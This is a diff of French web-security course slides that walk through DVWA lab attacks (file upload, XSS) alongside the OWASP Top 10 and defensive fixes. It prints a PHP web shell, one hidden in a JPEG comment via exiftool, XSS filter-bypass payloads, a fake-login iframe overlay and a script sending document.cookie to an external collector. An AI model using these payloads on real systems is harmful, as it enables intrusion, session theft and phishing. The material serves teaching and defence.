content/slides/1337/md/top10.md

+## [Owasp top 10 (2013)](https://www.owasp.org/index.php/Top_10_2013-Top_10)
+
+#### <i class="fa fa-file-pdf-o"></i> [FR](http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20French.pdf)
+
+### <i class="fa fa-book"></i> [All Attack types](https://www.owasp.org/index.php/Category:Attack)
+
+
+## [Owasp top 10 (2013)](https://www.owasp.org/index.php/Top_10_2013-Top_10)
+
+1. [Injection](https://www.owasp.org/index.php/Top_10_2013-A1-Injection)
+2. [Broken Authentication and Session Management](https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management)
+3. <a href="https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)">Cross-Site Scripting (XSS)</a>
+4. [Insecure Direct Object References](https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References)
+5. [Security Misconfiguration](https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration)
+6. [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure)
+7. [Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)
+8. <a href="https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)">Cross-Site Request Forgery (CSRF)</a>
+9. [Using Components with Known Vulnerabilities](https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities)
+10. [Unvalidated Redirects and Forwards](https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards)
+
+
+## [Owasp top 10 (2017)](https://www.owasp.org/index.php/Top_10-2017_Top_10)
+
+1. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection)
+2. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Broken Authentication and Session Management](https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication)
+3. [<i class="fa fa-hand-o-up" aria-hidden="true"></i> Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure)
+4. <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)"><i class="fa fa-hand-peace-o" aria-hidden="true"></i> XML External Entities (XXE)</a>
+5. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Broken Access Control](https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control)
+6. [<i class="fa fa-hand-o-down" aria-hidden="true"></i> Security Misconfiguration](https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration)
+7. <a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)"><i class="fa fa-hand-o-down" aria-hidden="true"></i> Cross-Site Scripting (XSS)</a>
+8. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Insecure Deserialization](https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization)
+9. [<i class="fa fa-hand-o-right" aria-hidden="true"></i> Using Components with Known Vulnerabilities](https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities)
+10. [<i class="fa fa-hand-peace-o" aria-hidden="true"></i> Insufficient Logging&Monitoring](https://www.owasp.org/index.php/Top_10-2017_A10-Insufficient_Logging%26Monitoring)
+
+
+## Répartition par Attaques
+
+![Relative Portions of Each Attack Type](images/top10/Relative_Portions_of_Each_Attack_Type.png "Relative Portions of Each Attack Type")
+
+[source IMPERVA](http://www.imperva.com/docs/HII_Web_Application_Attack_Report_Ed4.pdf)
+
+
+## Répartition par Attaques
+
+* Cross-site scripting (XSS)
+* SQL injection (SQLi)
+* Remote File Inclusion (RFI)
+* Local File Inclusion (LFI)
+* Email extraction (EmExt)
+* Directory traversal (DT)
+* Comment Spamming (ComSpm)
+<!-- https://www.whitehatsec.com/resource/stats.html -> owncloud/ssi/2015-Stats-Report.pdf to print -->
+<!-- http://www.symantec.com/security_response/publications/threatreport.jsp -->
+<!-- http://www.zdnet.fr/actualites/cybersecurite-a-quoi-s-attendre-dans-les-mois-qui-viennent-39822112.htm -->
+
+
+## Autres top 10 ...
+
+### <i class="fa fa-mobile"></i> [Top 10 - Mobile security](https://www.owasp.org/index.php/OWASP_Mobile_Security_Project#tab=Top_10_Mobile_Risks)
+
+### <i class="fa fa-wordpress"></i> <i class="fa fa-drupal"></i>  [Top 10 des failles de sécurité des CMS](http://www.cms.fr/articles/525-top-10-des-failles-de-securite-des-cms.html)

content/slides/1337/md/upload.md

+# upload
+## aka chmod -R 777
+
+
+### <i class="fas fa-cogs"></i> Upload de fichier
+
+* Deux problèmes
+  * filtrage des types de fichiers uploadés
+  * exposition / exécution des scripts au niveau du répertoire d'upload
+
+* Risque
+  * Upload de code arbitraire
+    * Backdoor ou Remote shell
+
+
+### <i class="fas fa-cogs"></i> Upload de fichier
+
+* Configurations liées à l'upload à différents endroits
+  * HTML (côté client)
+  * PHP (moteur de script)
+  * Apache (serveur web)
+
+* Ergonomiquement intéressant pour l'utilisateur
+  * [elFinder](http://elfinder.org) ...
+    * [et leurs problèmes de sécurité](https://github.com/Studio-42/elFinder/issues/815)
+
+Note:
+- MIME Multipurpose Internet Mail Extensions
+  - pour que les clients mail puissent afficher correctement les PJ
+- pas d'upload ... FTP, WebDav (utilise les verbs HTTP)
+
+
+### <i class="fa-solid fa-bomb"></i> Upload / low
+
+```
+sudo chown -R www-data /var/www/DVWA/hackable/uploads
+```
+
+Upload d'un fichier bd.php simple
+
+```php
+<?php
+echo passthru($_REQUEST['cmd']);
+```
+
+* Trouver le répertoire d'upload
+  * chemins connus dans produits connus
+  * code source HTML faisant référence au fichier uploadé
+
+```
+../../hackable/uploads/bd.php succesfully uploaded!
+```
+
+
+### <i class="fa-solid fa-bomb"></i> Upload / $_FILES
+
+```
+cd /var/www/DVWA/vulnerabilities/upload/
+vi source/low.php
+```
+
+```php
+print_r($_FILES);
+
+Array ( 
+    [uploaded] => Array ( 
+        [name] => bd.php 
+        [type] => application/x-php 
+        [tmp_name] => /tmp/phpPU0gay 
+        [error] => 0 
+        [size] => 39 
+    ) 
+)
+```
+
+
+### <i class="fa-solid fa-bomb"></i> Upload / security medium
+
+* contrôle de l'entête HTTP *Content-Type* renvoyé par le navigateur
+
+![content-type](images/upload/content-type.png "content-type")
+
+
+### <i class="fa-solid fa-bomb"></i> Upload / security high
+
+![kitten](images/upload/kitten.jpg "kitten")<!-- .element style="width: 120px" -->
+
+* visionner le "Comment" du jpg avec [exiftool](http://www.sno.phy.queensu.ca/~phil/exiftool/) + [<i class="fa fa-gift"></i>](http://www.gamergen.com/actualites/insolites-hacker-arrete-pour-poitrine-copine-93809-1)
+
+* modifier le champs comment with exiftool
+
+```
+exiftool ~/Downloads/kitten.jpg \
+  -comment="<?php echo passthru(\$_REQUEST['cmd']); __halt_compiler();?>"
+```
+
+Code uploadé :)
+
+
+### <i class="fa-solid fa-bomb"></i> Upload / security high
+
+code non exécuté :(
+
+on doit passer par une autre vulnérabilité 
+
+* [CMDi](cmdi.html) pour renommer `kitten.jpg` en `kitten.php`
+* [LFI](fi.html) pour inclure la payload contenu dans `kitten.jpg`
+
+ou `cp kitten.jpg kitten.php` ;)
+
+
+### <i class="fa-solid fa-bomb"></i> Upload / autres contrôles
+
+db.php
+
+```php
+echo passthru($_REQUEST['cmd'])
+```
+
+| <small>Command</small>                                                                        | <small>Output</small>             |   
+| --------------------------------------------------------------------------------------------- |:---------------------------------:|
+| <small>$_FILES['uploaded']['type']</small>                                                    | <small>application/x-php</small>  |   
+| [<small>mime_content_type</small>](http://php.net/manual/fr/function.mime-content-type.php)   | <small>text/x-php</small>         |   
+| [<small>exif_imagetype</small>](http://php.net/manual/fr/function.exif-imagetype.php)         | <small>null (no image)</small>    |
+| [<small>finfo_file</small>](http://php.net/manual/fr/function.finfo-file.php)                 | <small>text/x-php</small>         |
+| [<small>getimagesize[2]</small>](http://php.net/manual/fr/function.getimagesize.php)          | <small>null (no image)</small>    |
+<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
+
+
+### <i class="fa-solid fa-bomb"></i> Upload / autres contrôles
+
+[![lego](images/upload/lego.jpeg "lego")<!-- .element style="width: 50px" -->](images/upload/lego.jpeg)
+<small>[lego.jpeg](images/upload/lego.jpeg)</small>
+
+| <small>Command</small>                                                                        | <small>Output</small>     |
+| --------------------------------------------------------------------------------------------- |:-------------------------:|
+| <small>$_FILES['uploaded']['type']</small>                                                    | <small>image/jpeg</small> |
+| [<small>mime_content_type</small>](http://php.net/manual/fr/function.mime-content-type.php)   | <small>image/jpeg</small> |
+| [<small>exif_imagetype</small>](http://php.net/manual/fr/function.exif-imagetype.php)         | <small>2 (IMAGETYPE_JPEG) |
+| [<small>finfo_file</small>](http://php.net/manual/fr/function.finfo-file.php)                 | <small>image/jpeg         |
+| [<small>getimagesize[2]</small>](http://php.net/manual/fr/function.getimagesize.php)          | <small>image/jpeg         |
+<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
+
+
+### <i class="fa-solid fa-bomb"></i> Upload / autres contrôles
+
+![kitten](images/upload/kitten.jpg "kitten")<!-- .element style="width: 50px" -->
+<small>[kitten.jpg.php](images/upload/kitten.jpg.php)</small>
+
+| <small>Command</small>                                                                       | <small>Output</small>             |   
+| -------------------------------------------------------------------------------------------- |:---------------------------------:|
+| <small>$_FILES['uploaded']['type']</small>                                                   | <small>application/x-php</small>  |
+| [<small>mime_content_type</small>](http://php.net/manual/fr/function.mime-content-type.php)  | <small>image/jpeg</small>         |
+| [<small>exif_imagetype</small>](http://php.net/manual/fr/function.exif-imagetype.php)        | <small>2 (IMAGETYPE_JPEG)</small> |
+| [<small>finfo_file</small>](http://php.net/manual/fr/function.finfo-file.php)                | <small>image/jpeg</small>         |
+| [<small>getimagesize[2]</small>](http://php.net/manual/fr/function.getimagesize.php)         | <small>null (no image)</small>    |
+<!-- .element class="table-striped table-bordered table-hover" style="width: 100%" -->
+
+Note:
+- le .php est indispensable pour exécuter la charge dans la commentaire de l'image
+- parler d'exif -> cf le lien la géoloc (sur fb, etc ...)
+- On pourrait également avoir une image malicieuse vouée à infecter le client
+  - autre hisoitre
+    - difficilement détectable à l'upload
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* Filtrer par extension de fichier plutôt que par type MIME
+  * utiliser des listes blanches plutôt que des listes noires
+  * un nom de fichier peut contenir des points
+    * il faut bien prendre l'extension
+  * c'est ce qui est fait avec [security high](http://dv.wa/vulnerabilities/upload/)
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+désactiver php dans le répertoire d'upload
+
+#### via le vhost ou .htaccess
+
+```xml
+php_admin_value engine Off
+```
+
+Note:
+- MIME Multipurpose Internet Mail Extensions : pour que les clients mail puissent afficher correctement les PJ
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* Ne plus servir le répertoire d'upload via apache
+  * sortir le répertoire d'upload du dossier servi par apache
+  * en interdire la lecture avec un htaccess renvoyant une 403 Forbidden
+
+#### via le vhost ou .htaccess
+
+```
+order deny, allow
+deny from all
+```
+
+
+## <i class="fa fa-medkit"></i> Se préserver
+
+* Utiliser PHP pour lire les fichier avec [readfile](http://php.net/manual/fr/function.readfile.php)
+  * prendre en charge la génération des en-têtes **Content-Type** "manuellement"
+    * [<i class="fab fa-github"></i> igorw/IgorwFileServeBundle](https://github.com/igorw/IgorwFileServeBundle)
+    * [download center lite](http://www.stadtaus.com/fr/php_scripts/download_center_lite/)
+      * permet une meilleure gestion des accès par permission
+        * accès à la session courante
+    
+
+Note:
+- attention toute la stack Sf2 à chaque image ou asset c'est chaud

content/slides/1337/md/xss.md

+# XSS
+
+## aka cross site script
+
+
+### <i class="fas fa-cogs"></i> XSS
+
+* Affichage de données utilisateur sans validation ou échappement
+  * oubli du développeur
+  * messages d'erreurs (BDD, ...)
+    
+* Tentative d'injection interprétable par le navigateur de la cible
+  * code javascript
+  * code HTML
+
+
+### <i class="fas fa-cogs"></i> XSS
+
+![Bob](images/xss/XSS-bob.png "Bob")  ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Site faille](images/xss/XSS-sitefaille.png "Site faille") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")
+
+1.Bob consulte la page faillible et repère une faille XSS
+
+
+### <i class="fas fa-cogs"></i> XSS
+
+![Bob](images/xss/XSS-bob.png "Bob") ![Scripts](images/xss/XSS-scripts.png "Scripts") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Serveur pirate](images/xss/XSS-serveurpirate.png "Serveur pirate")
+
+2.Bob écrit une payload JS ou HTML qui récupère par exemple des informations utilisateurs et les envoie sur son serveur
+
+**Il rend ce script accessible via le XSS qu'il a découvert sur la page faillible**
+
+
+### <i class="fas fa-cogs"></i> XSS
+
+![Bob](images/xss/XSS-bob.png "Bob")  ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Alice](images/xss/XSS-alice1.png "Alice")
+
+3.Bob envoie l'url du XSS à Alice en l'incitant à cliquer sur un lien forgé (**XSS réfléchie**)
+
+ou
+
+3.attend simplement qu'elle se connecte à une page compromise (**XSS stockée**)
+
+Note:
+- test du XSS souvent alert ... méthode plus discrète notamment pour XSS stored
+  - console.log > alert
+
+
+### <i class="fas fa-cogs"></i> XSS
+
+![Alice](images/xss/XSS-alice2.png "Alice")  ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Site piégé](images/xss/XSS-sitepiege.png "Site piégé") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")
+
+4.Alice clique sur le lien forgé (**XSS réfléchie**)
+
+ou
+
+4.Alice consulte la page compromise et pense avoir à faire à l'originale (**XSS stockée**)
+
+
+### <i class="fas fa-cogs"></i> XSS
+
+![Alice](images/xss/XSS-alice2.png "Alice") ![Données utilisateur](images/xss/XSS-infos.gif "Données utilisateur") ![Fleche](images/xss/XSS-fleche.png "Fleche") ![Scripts](images/xss/XSS-scripts.png "Scripts") ![Serveur victime](images/xss/XSS-serveurvictime.png "Serveur victime")
+
+5.la page compromise exécute le payload JS de Bob
+
+
+### <i class="fas fa-ice-cream"></i> XSS / types
+
+* **reflected** 
+  * aussi appelé réfléchie, non permanente
+* **stored** 
+  * aussi appelé stockée, permanente
+* **DOM**
+  * aussi appelé DOM-based
+
+
+### <i class="fa-solid fa-bomb"></i> XSS / payloads
+
+* Défacement de pages (*HTML*)
+* Vol de session via les cookies (*JS*)
+* Redirection arbitraire (*JS/HTML*)
+  * exploitation de [CSRF](CSRF.htm)
+* Browser hijacking (*JS*)
+
+Note:
+- dans le cas d'un CSRF on récupère rien on espère que ca a marché
+
+
+### <i class="fas fa-cogs"></i> XSS (reflected)
+
+* le code malicieux n'est stocké nulle part
+  * injecté dans l'url et exécuté au moment de l'accès au lien malicieux
+      * fait forcément appel à l'ingénierie sociale pour inciter à cliquer
+        * phishing via lien forgé 
+          * éventuellement obfusqué
+            * intitulé malicieux
+            * url shortener
+
+
+### <i class="fa-solid fa-bomb"></i> XSS (reflected) / low
+
+```
+Name: <script>alert('pipo');</script>
+```
+* url forgé
+  * <small>[/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27pipo%27%29%3B%3C%2Fscript%3E#](http://dv.wa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27pipo%27%29%3B%3C%2Fscript%3E#)</small>
+*  url forgé décodé
+  * <small>[/vulnerabilities/xss_r/?name=&lt;script&gt;alert('pipo');&lt;/script&gt;](http://dv.wa/vulnerabilities/xss_r/?name=<script>alert('pipo');</script>)</small>
+
+
+### <i class="fa-solid fa-bomb"></i> XSS (reflected) / medium
+
+```
+Name: <script>alert('pipo');</script>
+```
+* les balises **script** sont filtrées :/
+* les balises **sCrIpT** non
+  
+  * <small>[/vulnerabilities/xss_r/?name=&lt;sCrIpT&gt;alert%28%27pipo%27%29%3B&lt;s%2FsCrIpT&gt;](http://dv.wa/vulnerabilities/xss_r/?name=<sCrIpT>alert%28%27pipo%27%29%3B<%2FsCrIpT>)</small>
+
+
+### <i class="fa-solid fa-bomb"></i> XSS (reflected) / high
+
+```
+Name: <script>alert('pipo');</script>
+```
+* les balises **script** sont bien filtrées :/
+* les autres balises ne le sont pas
+  ```
+  <svg onload="alert('pipo');" />
+  ```
+  * <small>[/vulnerabilities/xss_r/?name=&lt;svg+onload%3D"alert%28%27pipo%27%29%3B"+%2F&gt;#](http://dv.wa/vulnerabilities/xss_r/?name=<svg+onload%3D"alert%28%27pipo%27%29%3B"+%2F>#)</small>
+
+
+### <i class="fas fa-cogs"></i> XSS (stored)
+
+* le code malicieux est stocké dans une donnée (BDD, fichiers, ...)
+   * exécuté à chaque fois que la donnée infectée est affichée par un utilisateur
+     * le recours à l'ingénierie sociale n'est pas forcément nécessaire
+
+
+### <i class="fa-solid fa-bomb"></i> XSS (stored) / low
+
+```
+Name: <script>alert('pipo');</script>
+Message: <script>alert('pipo');</script>
+```
+* <!-- .element class="fragment rollin" --> 
+  <i class="fas fa-bell"></i> maxlength="50"
+  * <!-- .element class="fragment rollin" --> 
+    contournable avec **burp suite**
+  * <!-- .element class="fragment rollin" -->
+    contournable avec **inspector** (Browser > F12)
+
+!["inspector"](images/xss/inspector.png "inspector")<!-- .element class="fragment rollin" -->
+
+
+### <i class="fa-solid fa-bomb"></i> XSS (stored) / medium
+
+```
+Name: <script>alert('pipo');</script>
+Message: <script>alert('pipo');</script>
+```
+affiche
+```
+Name: alert('pipo');
+Message: alert(\'pipo\');
+```
+* les balises scripts sont filtrée
+  * avec 2 stratégies différentes
+
+```
+Name: <svg onload="alert('pipo');" />
+Message: <svg onload="alert('pipo');" />
+```
+
+ne produit qu'une alerte <i class="fas fa-face-smile-wink"></i>
+
+
+### <i class="fa-solid fa-bomb"></i> XSS (stored) / high
+
+```
+Name: <script>alert('pipo');</script>
+Message: <script>alert('pipo');</script>
+```
+affiche
+```
+Name: >
+Message: alert(\'pipo\');
+```
+* les balises scripts sont filtrée
+  * avec 2 stratégies différentes
+
+```
+Name: <svg onload="alert('pipo');" />
+Message: <svg onload="alert('pipo');" />
+```
+
+ne produit qu'une alerte <i class="fas fa-face-smile-wink"></i>
+
+
+### <i class="fas fa-cogs"></i>XSS (DOM)
+
+* le code malicieux est injecté dans un élément du DOM contrôlable par l’attaquant que l'on nommme **source**
+  * cet élément fait partie d'une exécution dynamique de code on l'appelle **sink**
+    * [les sources et les sinks qui peuvent mener à des DOM XSS](https://github.com/wisec/domxsswiki/wiki/Direct-Execution-Sinks)
+    * souvent via l'url mais pas que
+    * méconnues car plutôt rares
+
+
+### <i class="fa-solid fa-bomb"></i> XSS (DOM) / low
+
+* sélectionner une valeur
+  * [/vulnerabilities/xss_d/?default=French](http://dv.wa/vulnerabilities/xss_d/?default=French)
+* inspecter le formulaire
+
+```
+var lang = document.location.href.substring(
+    document.location.href.indexOf("default=")+8
+  );
+
+document.write(
+  "<option value='" + lang + "'>" 
+  + decodeURI(lang) 
+  + "</option>"
+);
+```
+
+<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/?default=&lt;script&gt;alert('pipo');&lt;/script&gt;](http://dv.wa/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27pipo%27);%3C/script%3E)</small>
+
+
+### <i class="fa-solid fa-bomb"></i> XSS (DOM) / medium
+
+<small><i class="fas fa-lightbulb"></i> [/vulnerabilities/xss_d/?default=&lt;script&gt;alert('pipo');&lt;/script&gt;](http://dv.wa/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27pipo%27);%3C/script%3E)</small>
+
+* ne fonctionne plus
+  * redirection vers `default=English` si le paramètre contient le motif `<script`
+!["redirect"](images/xss/redirect.png "redirect")
+
+```
+default: <svg onload="alert('pipo');" /">
+```
+
+<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/xss_d/?default=%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%3E](http://dv.wa/vulnerabilities/xss_d/?default=%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%3E)</small>
+
+
+### <i class="fa-solid fa-bomb"></i> XSS (DOM) / medium
+
+* il faut générer un code HTML syntaxiquement valide
+
+  ```
+  default: ></option></select><svg onload="alert('pipo');" /">
+  ```
+
+  <small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/?default=%3E%3C/option%3E%3C/select%3E%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%22%3E](http://dv.wa/vulnerabilities/xss_d/?default=%3E%3C/option%3E%3C/select%3E%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%22%3E)</small>
+
+
+### <i class="fa-solid fa-bomb"></i> XSS (DOM) / high
+
+* la variable http est désormais testé par liste blanche
+  * elle devient inutilisable MAIS 
+    ```
+    var lang= document.location.href.substring(
+        document.location.href.indexOf("default=")+8
+      );
+    ```
+  * récupère TOUS les caractères à partir du huitième en fin d'url
+    * donc `?default=` ne marche plus MAIS `#default=` a une chance de marcher
+
+<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/#default=&lt;script&gt;alert('pipo');&lt;/script&gt;](http://dv.wa/vulnerabilities/xss_d/#default=<script>alert('pipo');</script>)</small>
+
+
+### <i class="fa-solid fa-bomb"></i> XSS / payloads / défacement
+
+* l'idée est de recouvrir la page
+  * avec un message "p0wned" style
+  * avec une page malicieuse
+    * imiter un formulaire d'authentification légitime pour l'utilisateur
+      * récupérer les données saisies et rediriger l'utilisateur
+        * être le plus silencieux possible dans la navigation
+
+
+### <i class="fa-solid fa-bomb"></i> XSS / payloads / défacement
+
+```
+wget https://perso.isima.fr/mazenod/slides/1337/exploits.zip -O ~/Desktop/exploits.zip
+```
+
+* page malicieuse
+  * [https://perso.limos.fr/mazenod/slides/1337/exploits/login.php](https://perso.limos.fr/mazenod/slides/1337/exploits/login.php)
+  ```
+  <form method="get" id="fm1"  class=""
+    action="https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php">
+  ```
+* https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php
+  ```
+  // redirect pour être silencieux
+  ```
+
+
+### <i class="fa-solid fa-bomb"></i> XSS / payloads / défacement
+
+```
+Name: <iframe src="https://perso.limos.fr/mazenod/slides/1337/exploits/login.php"
+  style="position: absolute; top:0; left: 0; width: 100%; height: 100%;">
+</iframe>
+```
+
+<small><i class="fa-solid fa-circle-check"></i> XSS / reflected / low [/vulnerabilities/xss_r/?name=&lt;iframe+...+&lt;%2Fiframe&gt;#](http://dv.wa/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22https%3A%2F%2Fperso.limos.fr%2Fmazenod%2Fslides%2F1337%2Fexploits%2Flogin.php%22+++style%3D%22position%3A+absolute%3B+top%3A0%3B+left%3A+0%3B+width%3A+100%25%3B+height%3A+100%25%3B%22%3E+%3C%2Fiframe%3E#)</small>
+
+<i class="fa-solid fa-lightbulb"></i> [par défaut apache ne permet pas d'inclure des pages dans des iframes](https://tecadmin.net/configure-x-frame-options-apache/)
+
+```
+Header always unset X-Frame-Options # à ajouter .htaccess
+```
+
+
+### <i class="fa-solid fa-bomb"></i> XSS / payloads / vol de session
+
+* Tout le contexte du navigateur est accessible
+  * [créant une véritable empreinte de votre navigateur](https://coveryourtracks.eff.org/)
+
+* l'appel au script distant est réalisé en javascript
+
+```js
+<script>
+location.replace("https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php?cookie=" + document.cookie);
+</script>
+```
+* https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php
+  ```
+  // redirect pour être silencieux
+  ```
+
+<small><i class="fa-solid fa-circle-check"></i> XSS / reflected / low [/vulnerabilities/xss_r/?name=&lt;iframe+...+&lt;%2Fiframe&gt;#](http://dv.wa/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22https%3A%2F%2Fperso.limos.fr%2Fmazenod%2Fslides%2F1337%2Fexploits%2Flogin.php%22+++style%3D%22position%3A+absolute%3B+top%3A0%3B+left%3A+0%3B+width%3A+100%25%3B+height%3A+100%25%3B%22%3E+%3C%2Fiframe%3E#)</small>
+
+
+### <i class="fa-solid fa-bomb"></i> XSS / payloads / CSRF
+
+* voir [CSRF](/slides/1337/csrf.html)
+
+
+### <i class="fa-solid fa-bomb"></i> XSS / payloads / Browser Hijacking
+
+* [BeEF - The Browser Exploitation Framework Project](http://beefproject.com/)
+  * inclusion d'un hook.js
+    * les navigateurs connectés à la page se comportent ensuite comme des zombies
+      *  répondent aux payloads qu'on leur envoie
+
+
+### <i class="fa-solid fa-bomb"></i> XSS / payloads / Browser Hijacking
+
+<iframe 
+  width="560" 
+  height="315" 
+  src="https://www.youtube.com/embed/fiD-5Mg8azw?si=6vskSNJCiGiEq655" 
+  title="YouTube video player" 
+  frameborder="0" 
+  allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" 
+  allowfullscreen></iframe>
+
+### Amy Plant / J'ai hacké mon crush
+
+
+### <i class="fas fa-medkit"></i> XSS / fix
+
+* utiliser un moteur de template
+  * échappe par défaut
+
+* dans le `php.ini` pour éviter la manipulation des cookies via javascript
+
+```http
+session.cookie_httponly = 1
+```
+
+
+### <i class="fas fa-medkit"></i> XSS / fix
+
+* échapper / filtrer les entrées
+  * [htmlspecialchars()](http://php.net/manual/fr/function.htmlspecialchars.php) transforme tous les caractères en entité html
+    * [htmlentities()](http://php.net/manual/fr/function.htmlentities.php) fait l'opération inverse
+  * listes blanches
+    * Web Application Firewall (WAF)
+      * [mod_security](https://www.modsecurity.org/)
+
+
+### <i class="fas fa-medkit"></i> XSS / fix
+
+* <i class="fas fa-fire"></i> [XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
+
+* <i class="fas fa-fire"></i> [<i class="fab fa-github"></i> alcuadrado/hieroglyphy](https://github.com/alcuadrado/hieroglyphy)
+
+* [<i class="fa fa-newspaper-o"></i> permet de convertir le code js en caractères non alphanumériques en le gardant fonctionnel](http://patriciopalladino.com/blog/2012/08/09/non-alphanumeric-javascript.html)
+
+* coté client
+  * [<i class="fab fa-firefox"></i> NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript/) est une option
+
+Note:
+- waf pro mode apprentissage avant le lancement pre prod
+  - mod_security aucun mode apprentissage

content/slides/1337/reagir.html

+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>réagir</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/reagir/00_contexte.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>

content/slides/1337/session.html

+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>Session</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
